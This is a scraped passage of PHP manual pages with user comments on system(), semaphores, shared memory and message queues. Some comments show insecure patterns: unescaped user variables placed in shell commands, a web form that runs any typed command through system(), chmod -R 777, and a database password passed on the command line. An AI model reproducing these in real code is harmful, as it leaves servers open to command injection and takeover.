Re: cpmorris at hotmail dot com and WINNT.

I just spent some time learning to use the php system function.  I managed to get long file names to work for me.  It seems you need to take the same approach that batch files, WSH, and most other programming languages do under WinNT/2K/XP.  Putting double quotes around the Path+Filename seems to work.  So, something like this should have worked for you:

"c:\program files\apache group\apache2\bin\htpasswd"

Note that if you have parameters, they go OUTSIDE of the last quote.  Oh, and don't forget to escape the slashes and quotes!

I don't know what htpasswd's params are, but let us pretend:

$cmd="\"c:\\program files\\apache group\\apache2\\bin\\htpasswd\" username password";
$str=system($cmd);

Hope this helps someone!

Leonard
http:\\www.lc.yi.org
Jim Belton 26-Aug-2003 01:58
To run a full screen program from a PHP CLI script, redirect input from and output to /dev/tty.  For example:

system("timeconfig > /dev/tty < /dev/tty");

System will wait for the program to finish before continuing.
chris at karakas-online dot de 01-Jul-2003 06:52
If your PHP installation permits execution of commands through system() (e.g. you are not running in safe mode, or, if you are, safe_mode_exec_dir contains all the commands you need), you can trigger a backup of your MySQL database, just by pointing your browser to the following script:

<?php
  // Enter your MySQL access data
  $host= 'dbhost';
  $user= 'dbuser';
  $pass= 'dbpassword';
  $db=   'db';

  $backupdir = 'backups';

  // Compute day, month, year, hour and min.
  $today = getdate();
  $day = $today[mday];
  if ($day < 10) {
      $day = "0$day";
  }
  $month = $today[mon];
  if ($month < 10) {
      $month = "0$month";
  }
  $year = $today[year];
  $hour = $today[hours];
  $min = $today[minutes];
  $sec = "00";

  // Execute mysqldump command.
  // It will produce a file named $db-$year$month$day-$hour$min.gz
  // under $DOCUMENT_ROOT/$backupdir
  system(sprintf(
    'mysqldump --opt -h %s -u %s -p%s %s | gzip > %s/%s/%s-%s%s%s-%s%s.gz',
    $host,
    $user,
    $pass,
    $db,
    getenv('DOCUMENT_ROOT'),
    $backupdir,
    $db,
    $year,
    $month,
    $day,
    $hour,
    $min
  ));
  echo '+DONE';
?>

If you are not allowed cron access on the web server, you can set up your own cron job to periodically call the above script. If you don't have cron, or a similar functionality on your system, you can still modify the above script to inform the browser to reget the file every xxx hours. A poor man's cron, so to say ;-)

Of course, the $backupdir should at least be protected with a .htaccess file.

And of course, you are not going to backup a really large database this way, if your PHP has some timeout set (as is usually the case with web hosters).
d dot kraft at szo dot de 10-Mar-2003 02:18
For PHP running inside a Webserver:

When calling a process via
system("your_process &");
to make it running in background, note that this process is killed when the webserver is restarted.
cnoelker at softpearls dot de 05-Mar-2003 06:13
Hi,
some tips for using a system()-call for batch files on a windows computer:
* Write the path to the executable with double back-slashes, like so:
   C:\\path\\to\\prog.exe
* If you are refering to other pathes, e.g. as a parameter, one back-slash works fine.
* Do not use SET for declaring parameters - this does not work! Example:
   SET PATH="C:\path\to\lib"
   echo path is %PATH%
This works fine when started from the comand line, but when called from PHP, the variable is just empty.
user at unknown dot com 15-Jan-2003 02:07
a simple way to include a beep on the server-side whenever a page in viewed.
**contents of 'beeping' page**
require ("beep.php")

**contents of beep.php**
<?php
system ("/home/site/exe/beep.executable");
// on windows system ("c:\beep.exe");
?>
n-jones at fredesign dot net 04-Aug-2002 03:08
To have system output from both the STDERR and STDOUT, I've modified the function posted above by lowery@craiglowery.com

function mysystem($command) {
  if (!($p=popen("($command)2>&1","r"))) {
    return 126;
  }

  while (!feof($p)) {
    $line=fgets($p,1000);
    $out .= $line;
  }
  pclose($p);
  return $out;
}

Now you can use mysystem() like;

$var = "cat ".$file;
echo mysystem($var);

$catfile = mysystem($var);

if (ereg("text", $catfile)) {
  //stuff here;
}

N.Jones
a dot paul at bernardlabs dot com 21-Jul-2002 04:42
Well system is a pretty interesting and useful function.

This might have been already pointed out by predessors but anyways, for anyone looking to execute command line queries from php or scripts in general, this function does the trick.

However while using the command, you have to always think in terms of the command you are using as the function and the parameters as the arguments.

So say I want to do a 'ls -ls' on /home/sites/sitexyz/www/$username

I could do a

system("ls -la \"/home/sites/sitexyz/www/$username\" ");

Its important to think of this as passing      /home/sites/sitexyz/www/$username     as an argument to the function ls -la .

Similarly, you could do a

system("cp -r \"/home/sites/sitexyz/www/$username\"  \"/home/sites/sitexyz/www/$username2\" ");

But you then need to use 'chmod -R 777 to the directory you want to copy it to, which can be done by a

system("chmod -R 777   \"/home/sites/sitexyz/www/$username2\" ");

Now you can execute all the terminal commans via the php, however do realise the security concerns of using the same, especially when the operation is going to preceeded by some user input, so, you need to make sure you filter the inputs, or better not allow user intervention.
17-Jun-2002 08:29
The system() function does not consistently write to the int return_var.  I highly recommend using the code from the post above it worked well for me.

---------------------------------------------
$a = `/bin/ls -a`;
note: the ` is a backtick, not a single quote
---------------------------------------------

This also works well in Perl so it is rather useful to know.
ed at lexingrad dot net 12-Jun-2002 06:11
best use I have found for this function so far:

<?php
$fortune = `/usr/games/fortune -aeo`;

$var = eregi_replace("\n", "<br>", $fortune);

echo $var;
?>
that's with all the fortune's installed, including the dirty ones. the reg expression replace formats them correctly
roger at proproject dot com 12-May-2002 10:35
For your in-house pages, I recommend redirecting stderr to stdout so you'll know if something goes wrong.  Here's a real-life example:

system("/mysql_reboot 2>&1");
james at jsrobertson dot net 26-Mar-2002 11:48
I've found a very useful technique for the system function. Say if you want to create a page of quotes and you have /usr/games/fortune available. Instead of spending time creating a database and populating it with thousands of quotes, you can just use:

<?php
system('/usr/games/fortune');
?>

likewise if you want to list the files in your directory, say for example, Mp3's?

<?php
system('ls /home/mp3 -l');
?>

basically

<?php
system('any_command');
?>
z1a7n8g at / at a<o<l dot c<o<m 20-Mar-2002 08:22
I am currently using a form driven administration
page to start an ftp server remotely from a web page in FreeBSD 4.5 using PHP 4.1.2 & apache 1.3.23. (Sorry guys, no CVS!!)
This code will emulate a CLI command from your browser (anywhere!!) and execute it if your PHP module/binary has the correct permissions...
<code><pre>
//your front end
<form ..your form stuff here...>
<input type="text" name=command>
<your additional form stuff>
///the gutz
<?
 $arg=explode( " ", $command, 4 )
     if ($arg[0] = "system")
       {
 system($arg[1] . " " . $arg[2] . " " . $arg[3]..etc);
            }?>
</code></pre>
This works, however it is simple and lacks any error output.
try:
<pre><code>
 <?system(command > /path/to/yourfile.php);
     $fPtr=@fopen("yourfile.php",r);
     $line=fgets($fPtr,filesize("yourfile.php");
        while ($line)
  {
        $formatted_line=ereg_replace("your favorite newline semantic","<BR>",$line);
        print $formatted_line;
                                     }

 ?>
</pre></code>
Keep in mind the SECURITY implications with the use of this and like scripts. You've been warned.
tk at taponet dot de 20-Feb-2002 07:17
Beware:
if (! system($cmd)) {
  print "error";
}

does not work!
Use
if (system($cmd) === false) {
...}

instead!
nospam at 1111-internet dot com 06-Feb-2002 10:47
Here's a neat trick that exploits an inherent php anomaly... if you want to run a shell command but not have it take up two processes for the entire life of the command (a child for the shell and a grandchild for the command), add a "&" at the end of the command to kill the shell and leave the grandchild command running... Though it's a bit counterintuitive, php will continue to listen for the orphanized grandchild command's STDOUT as long as it continues to run, provided STDOUT hasn't been been redirected with a ">/some/file"...

Very helpful if you're in a low-process-quota situation - I might even go so far as to say that this benefit might warrant ALWAYS using a "&" in php Unix system command situations - though the jury's still out on that one...
ryan at seattleone dot com 29-Aug-2001 05:36
I was trying to use the system command, and I couldnt get it to work, then it occured to me, send the stderr to a file to see what is really happening.

system( $command . " &> /tmp/error " );
nospam at php dot net 24-Jul-2000 05:57
If you are trying to parse a CGI script to your webserver which needs arguments, take a look to the virtual() function .. it took me long before i found out it existed...
It's used like this:
<?php
virtual("/cgi-bin/lastuser.cgi?argument");
?>
And that works excellent now for me
digitalturbulence at softhome dot net 09-Jul-2000 12:04
If the command printf("%s",system($cmd)); doesn't work, check the httpd.error_log file in your /var/log directory. At my home, the system command can just load binary files in the directory /usr/lib/apache/bin
Stephan.
ccurtis at aet-usa dot com 14-Jun-1999 11:07
If no headers have been printed, calling the system() function will flush the headers to the client and insert a newline; no further headers or cookies will be transferred to the browser.  In version 3.0.7, you will not be warned that the Header() function failed, but will be warned if trying to set a cookie.  If you want to continue to send headers after the function call, use exec() instead.
shell_exec
Semaphore
Program execution Functions


Semaphore, Shared Memory and IPC

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Semaphore Functions
    • ftok — Convert a pathname and a project identifier to a System V IPC key
    • msg_get_queue — Create or attach to a message queue
    • msg_queue_exists — Check whether a message queue exists
    • msg_receive — Receive a message from a message queue
    • msg_remove_queue — Destroy a message queue
    • msg_send — Send a message to a message queue
    • msg_set_queue — Set information in the message queue data structure
    • msg_stat_queue — Returns information from the message queue data structure
    • sem_acquire — Acquire a semaphore
    • sem_get — Get a semaphore id
    • sem_release — Release a semaphore
    • sem_remove — Remove a semaphore
    • shm_attach — Creates or open a shared memory segment
    • shm_detach — Disconnects from shared memory segment
    • shm_get_var — Returns a variable from shared memory
    • shm_has_var — Check whether a specific entry exists
    • shm_put_var — Inserts or updates a variable in shared memory
    • shm_remove_var — Removes a variable from shared memory
    • shm_remove — Removes shared memory from Unix systems

User Contributed Notes

There are no user contributed notes for this page.
system
Introduction
Process Control Extensions


Introduction

This module provides wrappers for the System V IPC family of functions. It includes semaphores, shared memory and inter-process messaging (IPC).

Semaphores may be used to provide exclusive access to resources on the current machine, or to limit the number of processes that may simultaneously use a resource.

This module provides also shared memory functions using System V shared memory. Shared memory may be used to provide access to global variables. Different httpd-daemons and even other programs (such as Perl, C, ...) are able to access this data to provide a global data-exchange. Remember, that shared memory is NOT safe against simultaneous access. Use semaphores for synchronization.

Limits of Shared Memory by the Unix OS
SHMMAX | max size of shared memory, normally 131072 bytes
SHMMIN | minimum size of shared memory, normally 1 byte
SHMMNI | max amount of shared memory segments on a system, normally 100
SHMSEG | max amount of shared memory segments per process, normally 6

The messaging functions may be used to send and receive messages to/from other processes. They provide a simple and effective means of exchanging data between processes, without the need for setting up an alternative using Unix domain sockets.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
Semaphore
Installing/Configuring
Semaphore


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Semaphore


Installation

Support for this functions are not enabled by default. To enable System V semaphore support compile PHP with the option --enable-sysvsem . To enable the System V shared memory support compile PHP with the option --enable-sysvshm . To enable the System V messages support compile PHP with the option --enable-sysvmsg .

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Semaphore Configuration Options
Name | Default | Changeable | Changelog
sysvshm.init_mem | 10000 | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

sysvshm.init_mem int

A default size of the shared memory segment.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

System V message constants
Constant | Type | Changelog
MSG_IPC_NOWAIT | integer |
MSG_EAGAIN | integer | As of 5.2.0
MSG_ENOMSG | integer | As of 5.2.0
MSG_NOERROR | integer |
MSG_EXCEPT | integer |

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Semaphore Functions
Semaphore


Semaphore Functions

Table of Contents

  • ftok — Convert a pathname and a project identifier to a System V IPC key
  • msg_get_queue — Create or attach to a message queue
  • msg_queue_exists — Check whether a message queue exists
  • msg_receive — Receive a message from a message queue
  • msg_remove_queue — Destroy a message queue
  • msg_send — Send a message to a message queue
  • msg_set_queue — Set information in the message queue data structure
  • msg_stat_queue — Returns information from the message queue data structure
  • sem_acquire — Acquire a semaphore
  • sem_get — Get a semaphore id
  • sem_release — Release a semaphore
  • sem_remove — Remove a semaphore
  • shm_attach — Creates or open a shared memory segment
  • shm_detach — Disconnects from shared memory segment
  • shm_get_var — Returns a variable from shared memory
  • shm_has_var — Check whether a specific entry exists
  • shm_put_var — Inserts or updates a variable in shared memory
  • shm_remove_var — Removes a variable from shared memory
  • shm_remove — Removes shared memory from Unix systems

User Contributed Notes

piosaw79 25-Jul-2011 02:36
I'm using this simple functions to mimic semaphores on Windows (with $max_acquire = 1):

<?php
if ( !function_exists('sem_get') ) {
    function sem_get($key) { return fopen(__FILE__.'.sem.'.$key, 'w+'); }
    function sem_acquire($sem_id) { return flock($sem_id, LOCK_EX); }
    function sem_release($sem_id) { return flock($sem_id, LOCK_UN); }
}
?>
alexh at southwestmicrowave dot com 19-Feb-2008 09:24
I've had a devil of a time interfacing with non-PHP declared shared memory.  DO NOT do this unless you read the php-X.X.X/ext/sysvshm/ code directly.  Non-PHP programs need to use exactly the same "shared memory" struct as PHP uses, otherwise this "system V standard" call doesn't work.

Here are the specific deviations from the System-V C-calls:

<?
$shmkey = ftok($shmkey_path, $shmkey_proj_id);
?>

In C the $shmkey_proj_id is an int, but in PHP it's a char* to a single char.  This means that your C program is restricted to using 0-255 (in PHP chr(0) through chr(255)) for project ID's, if it used anything else then you have to re-write your C-routine.

<?
$var = shm_get_var($shm_id, 0);
$fail = shm_put_var($shm_id, 0, $var1 )
?>

There are no such things as a system V calls like this at all.  In system V you simply have a pointer to the beginning of your shared memory segment after attaching, so as long as you offset to the right spot you get what you want.  In PHP, shared memory is ONLY cast as a struct, and the "data" is serialized as a string in the "mem" portion of the struct:

<? //C code
typedef struct {
        long key;
        long length;
        long next;
        char mem;
} sysvshm_chunk;
?>

If your C program didn't use this struct you need to re-write it to use this struct and write everything as a string.

This is rather absurd, as the purpose of shared memory is to communicate quickly with other programs resident in memory.  But it is what it is.
mr dot smaon at gmail dot com 25-Jan-2007 09:08
Here is a simple Mutex class implementation, using semaphore on Linux and flock on windows.
Filename is optionnal, but you can provide it anyway. This way the file will be created on windows, not on linux as it is not needed.
It's fast written and certainly lacks error checking code.

<?php

    class Mutex
    {
        private $id;
        private $sem_id;
        private $is_acquired = false;
        private $is_windows = false;
        private $filename = '';
        private $filepointer;

        function __construct()
        {
            if(substr(PHP_OS, 0, 3) == 'WIN')
                $this->is_windows = true;
        }

        public function init($id, $filename = '')
        {
            $this->id = $id;

            if($this->is_windows)
            {
                if(empty($filename)){
                    print "no filename specified";
                    return false;
                }
                else
                    $this->filename = $filename;
            }
            else
            {
                if(!($this->sem_id = sem_get($this->id, 1))){
                    print "Error getting semaphore";
                    return false;
                }
            }

            return true;
        }

        public function acquire()
        {
            if($this->is_windows)
            {
                if(($this->filepointer = @fopen($this->filename, "w+")) == false)
                {
                    print "error opening mutex file<br>";
                    return false;
                }

                if(flock($this->filepointer, LOCK_EX) == false)
                {
                    print "error locking mutex file<br>";
                    return false;
                }
            }
            else
            {
                if (! sem_acquire($this->sem_id)){
                    print "error acquiring semaphore";
                    return false;
                }
            }

            $this->is_acquired = true;
            return true;
        }

        public function release()
        {
            if(!$this->is_acquired)
                return true;

            if($this->is_windows)
            {
                if(flock($this->filepointer, LOCK_UN) == false)
                {
                    print "error unlocking mutex file<br>";
                    return false;
                }

                fclose($this->filepointer);
            }
            else
            {
                if (! sem_release($this->sem_id)){
                    print "error releasing semaphore";
                    return false;
                }
            }

            $this->is_acquired = false;
            return true;
        }

        public function getId()
        {
            return $this->sem_id;
        }
    }

?>

Example use:

<?php

    $mutex = new Mutex();
    $mutex->init(1, "mutex_file.txt");
    $mutex->acquire();

    //Whatever you want single-threaded here...
    $mutex->release();

?>
hekkwan at gmail dot com 14-Nov-2006 06:15
I have been trying to get a php console script and a C application to use a common semaphore for a while. I just got it working, so I thought Id paste the code here incase anyone needs to do this, however, this is not the place for long code examples

I used c code from the php implementation to set up the semaphore set and then mimic the way the php interpreter implements a mutext type locking scheme, using a common semop call.

One has to do the process in the same way as its done in the php implementation, otherwise you run the risk of the php interpreter resetting the semaphore set for you.

The basic idea is.
1) sem_get - use a three semaphore set
1.1) increment the first sem
1.2) check the usage count (sem 3), if only one, set the max_attach using sem 2 for mutex behaviour to sem 3
2) decrement sem 1
3) for locking / unlocking use the first semaphore, but always call the above from your c-code.

If you want a copy of my code, email me and I'll happily send it to you !
chrissavery at removeme dot gmail dot com 02-Jun-2006 01:18
I was confused by two things that caused strange behaviour in my use of semaphores with php scripts running under apache.

Often enough page requests will end up being filled by the same process as other simultaneous requests. So semaphores will block when you may not have expected.

Also note that sem_remove() will remove it for all processes, not just the calling one. So you have to be sure that the last process running removes the semaphore and none before. I thought there was some failures occurring when my child processes were dropping out with errors.

So you can't just use get, acquire, release, remove in one script that will be hit by a web user. (1) They may end up in the same process and will wait on the other, and (2) the first one to finish will destroy the semaphore for others.

I left out the remove call, and it works ok, but I still wonder if the semaphore is removed by php when the last script that did a get finishes? Also creating a child process to do the work using proc_open works to ensure seperate processes but to be careful you would want to limit the number somehow as well.
Denis Gerasimov 02-Nov-2005 04:19
Many (most?) developers use Win32 platform for PHP Web applications development while production servers mostly run Unix/Linux OS. Below is the stub code I use to make it possible to write scripts on Win32 that use semaphores:

<?php

if (substr(PHP_OS, 0, 3) == 'WIN') {  // if Windows OS detected

    function ftok($pathname, $proj)
    {
        if (empty($pathname) || !file_exists($pathname)) {  // an error occured
            return -1;
        }

        $pathname = $pathname . (string) $proj;
        $key = array();
        while (sizeof($key) < strlen($pathname)) {
            $key[] = ord(substr($pathname, sizeof($key), 1));
        }

        return dechex(array_sum($key));
    }

    function sem_acquire($sem_identifier)
    {
        return true;
    }

    function sem_get($key, $max_acquire = null, $perm = null, $auto_release = null)
    {
        return true;
    }

    function sem_release($sem_identifier)
    {
        return true;
    }

    function sem_remove($sem_identifier)
    {
        return true;
    }

}

?>

Of course, there is no way to test semaphores until you have no Unix/Linux test server.
p4nzer at yahoo dot com 01-Nov-2005 05:55
Actually, the way to lock a semaphore from C code appears to be:
<?
    struct sembuf semptr[2];

    if( (semid = semget(SEM_KEY, PHP_SEM_NEED_NUMBER, 0666 | IPC_CREAT)) < 0 ) {
        perror("semget");
        return 1;
    }

    semptr[0].sem_num = 0;
    semptr[0].sem_op = -1;
    semptr[0].sem_flg = SEM_UNDO;
    semptr[1].sem_num = 1;
    semptr[1].sem_op =  1;
    semptr[1].sem_flg = SEM_UNDO;

    if( semop(semid, &semptr[0], 2) < 0 ) {
    perror("semop");
    }
?>

PS: Disregard the <? and ?>, it's just for pretty printing... this is C code!
hcuevas at galenicom dot com 23-Oct-2003 07:49
Don't use semaphores to serialize access to an undefined number of resources. There is no way (yet) to know before locking if a semaphore is already locked, thus not being able to fully release the semaphore and occupying a semaphore resource for an undefined time.

A possible solution is to build a shared mem pool and store there the current number of locks for a semaphore id.

Cheers,
Horaci Cuevas
Roman Laptev <tmp at laptev dot org> 02-Apr-2003 06:50
If you going to work with semaphore, which was created by some external program, you can try the following code for this program (C example):

#define SVSEM_MODE (SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6) /* 0644 */
#define PHP_SEM_NEED_NUMBER 3

/*.......*/
int semid, semflag = SVSEM_MODE | IPC_CREAT | IPC_EXCL;
struct sembuf semptr;
union semun semopts;
/*.......*/
if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, semflag)) >= 0 ) {
  semopts.val = 1; /* initial value for sem */
  if( semctl( semid, 0, SETVAL, semopts) < 0 ) {/*error*/}
  if( semctl( semid, 1, SETVAL, semopts) < 0 ) {/*error*/}
  /* PHP wanna zero for its own semget at third sem.
   * look at ./PHP_SOURCE_PATH/ext/sysvsem/sysvsem.c
   */
  semopts.val = 0;
  if( semctl( semid, 2, SETVAL, semopts) < 0 ) {/*error*/}
}
else if(errno == EEXIST) { /* connect only  */
  if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, SVSEM_MODE | IPC_CREAT)) < 0 ) {/*error*/}
}
else {/*error*/}

/*.......*/
/* If you want acquire the sem */
  semptr.sem_num = 0;
  semptr.sem_op = -1; /* lock it */
  semptr.sem_flg = SEM_UNDO;
  while( semop(semid, &semptr, 1) < 0 ) {/*error*/}
/*.......*/

Thanks,
Roma
elran70 at hotmail dot com 22-Jun-2002 10:54
Samlpe code for using most of the functions here:

    $MEMSIZE    =   512;//  size of shared memory to allocate
    $SEMKEY     =   1;  //  Semaphore key
    $SHMKEY     =   2;  //  Shared memory key

    echo "Start.\n";
    // Get semaphore
    $sem_id = sem_get($SEMKEY, 1);
    if ($sem_id === false)
    {
        echo "Fail to get semaphore";
        exit;
    }
    else
        echo "Got semaphore $sem_id.\n";

    // Accuire semaphore
    if (! sem_acquire($sem_id))
    {
        echo "Fail to aquire semaphore $sem_id.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success aquire semaphore $sem_id.\n";

    $shm_id =   shm_attach($SHMKEY, $MEMSIZE);
    if ($shm_id === false)
    {
        echo "Fail to attach shared memory.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success to attach shared memory : $shm_id.\n";

    // Write variable 1
    if (!shm_put_var($shm_id, 1, "Variable 1"))
    {
        echo "Fail to put var 1 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var1 to shared memory.\n";

    // Write variable 2
    if (!shm_put_var($shm_id, 2, "Variable 2"))
    {
        echo "Fail to put var 2 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var2 to shared memory.\n";

    // Read variable 1
    $var1   =   shm_get_var ($shm_id, 1);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 1 from Shared memory $shm_id, return value=$var1.\n";
    }
    else
        echo "Read var1=$var1.\n";

    // Read variable 1
    $var2   =   shm_get_var ($shm_id, 2);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 2 from Shared memory $shm_id, return value=$var2.\n";
    }
    else
        echo "Read var2=$var2.\n";

    // Release semaphore
    if (!sem_release($sem_id))
        echo "Fail to release $sem_id semaphore.\n";
    else
        echo "Semaphore $sem_id released.\n";

    // remove shared memory segmant from SysV
    if (shm_remove ($shm_id))
        echo "Shared memory successfully removed from SysV.\n";
    else
        echo "Fail to remove $shm_id shared memory from SysV.\n";

    // Remove semaphore
    if (sem_remove($sem_id))
        echo "semaphore removed successfully from SysV.\n";
    else
        echo "Fail to remove $sem_id semaphore from SysV.\n";
    echo "End.\n";
mikew at php dot net 31-May-2001 09:46
As for security,   please look at the perm argument to shm_get.   Shared Memory blocks has the same permission semantics as unix user/group/other file permissions.   As long as your webserver is running as a user that no other users can script to..  and as long as the permissions are set to 600,  you should be fine and have no security concerns.
php at stolt dot de 20-Sep-2000 11:58
The integer keys for sem_get() and shm_attach() have to be systemwide unique. There is no method to ensure that no other process on the system will use your specific key (security! and possible malfunction). Also shared memory is very seldom used there are possibilities for conflicts! To see the used id's you can use the program 'ipcs' (at least under SuseLinux;) ). Thanks Christian C.
Predefined Constants
ftok
Semaphore


Convert a pathname and a project identifier to a System V IPC key

Semaphore Functions
msg_get_queue
Semaphore Functions
PHP Manual

ftok

(PHP 4 >= 4.2.0, PHP 5)

ftok — Convert a pathname and a project identifier to a System V IPC key

Description

int ftok ( string $pathname , string $proj )

The function converts the pathname of an existing accessible file and a project identifier into an integer for use with for example shmop_open() and other System V IPC keys.

Parameters

pathname

Path to an accessible file.

proj

Project identifier. This must be a one character string.

Return Values

On success the return value will be the created key value, otherwise -1 is returned.

See Also

  • shmop_open() - Create or open shared memory block
  • sem_get() - Get a semaphore id

User Contributed Notes

Peter MOLNAR 18-May-2007 05:38
mbowie at buzmo dot com wrote:
"The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere."

You can always use chr() as an alternative.
marco at greenlightsolutions dot nl 17-Apr-2007 08:08
As ftok uses only the last 16 bits of the inode of the file, you can get collisions on large filesystems. Unfortunately, on large filesystems you can get collisions rather quickly: if you have a collection of 350-400 files, odds are that two of them have inodes with the same last 16 bits. So I've taken to using fileinode instead of ftok with functions like shmop_open.
mbowie at buzmo dot com 20-Oct-2004 02:41
If you're planning to use ftok() to generate an IPC identifier to share with other applications, note that PHP uses the ASCII value of the proj parameter to generate the key, not the proj (aka id) parameter itself.

The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere.

This may not be the case under all OS's, but certainly is for FreeBSD which requires the id parameter passed to ftok to be an int.

Also of note, ipcs and ipcrm are extremely useful for debugging SysV queues etc.

References:
http://www.freebsd.org/cgi/man.cgi?query=ftok
http://www.asciitable.com
abk at avatartechnology dot com 17-Jun-2004 01:17
Thanks to  daniele_dll@yahoo.it who got this in turn from linux glibc 2.3.2: http://www.php.net/manual/en/function.shmop-open.php -- I'm putting this here because it might be helpful to others.

function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}
david dot rech at virusmedia dot de 26-May-2004 07:50
Missing ftok() on Windows? Here's my little workaround:

<?php
if( !function_exists('ftok') )
{
    function ftok($filename = "", $proj = "")
    {
        if( empty($filename) || !file_exists($filename) )
        {
            return -1;
        }
        else
        {
            $filename = $filename . (string) $proj;
            for($key = array(); sizeof($key) < strlen($filename); $key[] = ord(substr($filename, sizeof($key), 1)));
            return dechex(array_sum($key));
        }
    }
}?>

NOTE: There *may* be duplicate keys, even if probability is low.

The key's were NOT computed like the original UNIX ftok() because i.e. fileinode() is also missing on windows. Normally ftok() computes a key based on the file inode and the system minor id of the harddrive the file resides.

Behaviour is like PHPs ftok(), -1 is returned if file is missing or $filename is empty, computed int as hex on success.

--
Regards,
David Rech
kimaz at swecom dot org 02-May-2004 06:35
You dont have to use ftok() for specifying an System V IPC identifier, though its a good thing to do so.

Passing a regular int to, e.g. msg_get_queue, will have the same effect aslong as you use that value when reading/writing.

I use it for some minor tasks generating small queue's.
andreyKEINSPAM at php dot net 24-Apr-2004 09:43
This function is not part neither of ext/sysvsem nor ext/sysvshm but comes with the core functions of PHP (from ext/standard).
Semaphore Functions
msg_get_queue
Semaphore Functions


Create or attach to a message queue

ftok
msg_queue_exists
Semaphore Functions
PHP Manual

msg_get_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_get_queue — Create or attach to a message queue

Description

resource msg_get_queue ( int $key [, int $perms = 0666 ] )

msg_get_queue() returns an id that can be used to access the System V message queue with the given key. The first call creates the message queue with the optional perms. A second call to msg_get_queue() for the same key will return a different message queue identifier, but both identifiers access the same underlying message queue.

Parameters

key

Message queue numeric ID

perms

Queue permissions. Default to 0666. If the message queue already exists, the perms will be ignored.

Return Values

Returns a resource handle that can be used to access the System V message queue.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_send() - Send a message to a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

Michael Iatrou 02-Jul-2010 09:47
If you are getting the following message (on Linux):

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

aside from what [others have] suggested, you should also check and set an appropriate value for kernel parameter kernel.msgmni, e.g. sysctl -w kernel.msgmni=256
Morten Brrup 17-Mar-2010 01:08
IPC_CREAT has no effect in this function. The PHP source code (file sysvmsg.c) reveals that only if msgget(key,0) fails, msgget(key, IPC_CREAT | IPC_EXCL | perms) is used.
pail dot luo at gmail dot com 28-Feb-2009 09:22
A simple Sample to introduce Message Queue.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] stat|send|receive|remove msgType MSG [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] receive ID \n" ;
        echo "       $argv[0] stat \n" ;
        echo "       $argv[0] remove \n" ;
        exit;
}

$MSGKey = "123456" ;

## Create or attach to a message queue
$seg = msg_get_queue($MSGKey) ;

switch ( $argv[1] ) {
    case "send":
        msg_send($seg, $argv[2], $argv[3]);
        echo "msg_send done...\n" ;
        break;

    case "receive":
        $stat = msg_stat_queue( $seg );
        echo 'Messages in the queue: '.$stat['msg_qnum']."\n";
        if ( $stat['msg_qnum']>0 ) {
            msg_receive($seg, $argv[2], $msgtype, 1024, $data);
            var_dump($msgtype);
            var_dump($data);
            echo "\n";
        }
        else {
            echo "No Msg...\n";
        }
        break;

    case "stat":
      print_r( msg_stat_queue($seg) );
        break;

    case "remove":
        msg_remove_queue($seg);
        break;
}
?>
david dot schueler at tel-billig dot de 17-Dec-2008 08:17
If you are getting this message on your *NIX box:

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

you may use the command "ipcrm" as root to clear the message queue. Use "man ipcrm" to get more info on it.
The default setting for maximum messages in the queue is stored in /proc/sys/fs/mqueue/msg_max. To increase it to a maximum of 100 messages, just run:
echo 100 > /proc/sys/fs/mqueue/msg_max

Please ensure to follow a good programming style and close/free all your message queues before your script exits to avoid those warning messages.
martin dot velek at gmail dot com 01-Aug-2007 04:23
Lack of IPC_EXCL makes me unhappy. Of course, you can use ftok() to generate a unique key. This code is not allmighty, another process under the same user can open the queue and function returns true. But in some situation it could help.

code:

<?
function ipcEXCL($res,$perm)
{
 $pole = msg_stat_queue($res);

 if($pole['msg_perm.uid']==posix_getuid() &&
    $pole['msg_perm.gid']==posix_getgid()  &&
    $pole['msg_perm.mode']==$perm  &&
    $pole['msg_stime']==0  &&
    $pole['msg_rtime']==0  &&
    $pole['msg_qnum']==0  &&
    $pole['msg_lspid']==0  &&
    $pole['msg_rspid']==0)
        return true;
 else
        return false;
}

$res=msg_get_queue($key,$perm);

if(ipcEXCL($res,$perm))
   echo "probably I am a creator:";
else
   echo "probably not";
?>
joeldg AT listbid.com 02-May-2003 12:10
// Here is an example of working with message queues.
// if you have forked processes, this could be a great way of passing
